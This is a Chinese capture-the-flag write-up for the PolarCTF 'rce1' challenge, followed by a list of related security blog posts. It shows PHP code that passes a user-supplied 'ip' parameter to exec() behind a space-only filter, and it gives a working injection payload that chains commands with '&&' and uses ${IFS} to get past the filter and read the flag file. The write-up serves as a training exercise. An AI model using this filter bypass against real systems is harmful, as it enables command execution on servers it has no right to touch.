【PolarCTF】rce1

复制代码
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

关键点在这

复制代码
 $cmd = "ping -c 4 {$ip}";
 exec($cmd, $res);

但是需要绕过

复制代码
if (!preg_match_all("/ /", $ip, $m))

preg_match_all会匹配$ip中的所有空格并存入到$m中,如果匹配成功即为True,但是前面有一个!,那么就会返回假

所以我们需要绕过空格过滤,成功执行

复制代码
cat /flag.txt

先尝试ls命令,得到flag的文件名

可知flag的文件为

复制代码
fllllaaag.php

通过${IFS}来代替空格

复制代码
127.0.0.1&&cat${IFS}fllllaaag.php

这里作者耍了个小心机,页面显示的是?,实际flag要在网页源代码中才能看到

相关推荐
向往着的青绿色5 小时前
雷池(SafeLine)社区版免费部署教程|从环境检查到防护实操全流程
网络·计算机网络·nginx·网络安全·容器·网络攻击模型·信息与通信
波兰的蓝5 小时前
CVE-2016-4437 Apache Shiro反序列化漏洞复现
web安全·网络安全
2401_865382507 小时前
GB/T22240-2020《信息安全技术 网络安全等级保护定级指南》标准解读
网络安全·信息安全·等保测评·标准·信息化项目
努力的lpp7 小时前
小迪安全课程第一节复习笔记
网络安全
free_738 小时前
超越“回答”,AI Agent迎来全链路安全治理挑战
人工智能·python·网络安全
努力的lpp8 小时前
小迪安全课程第二节复习笔记
网络安全
谪星·阿凯9 小时前
从入门到拿Flag:XXE漏洞全解析
安全·web安全·网络安全
乾元10 小时前
全球治理: 从《AI 法案》看安全合规的国际趋势
网络·人工智能·安全·机器学习·网络安全·架构·安全架构
枫叶丹411 小时前
【HarmonyOS 6.0】使用PAC脚本灵活管理网络连接
开发语言·网络安全·华为·信息与通信·harmonyos
乾元11 小时前
未来展望: 当 AGI(通用人工智能)出现,网络安全是否会消失?
网络·人工智能·安全·机器学习·网络安全·架构·安全架构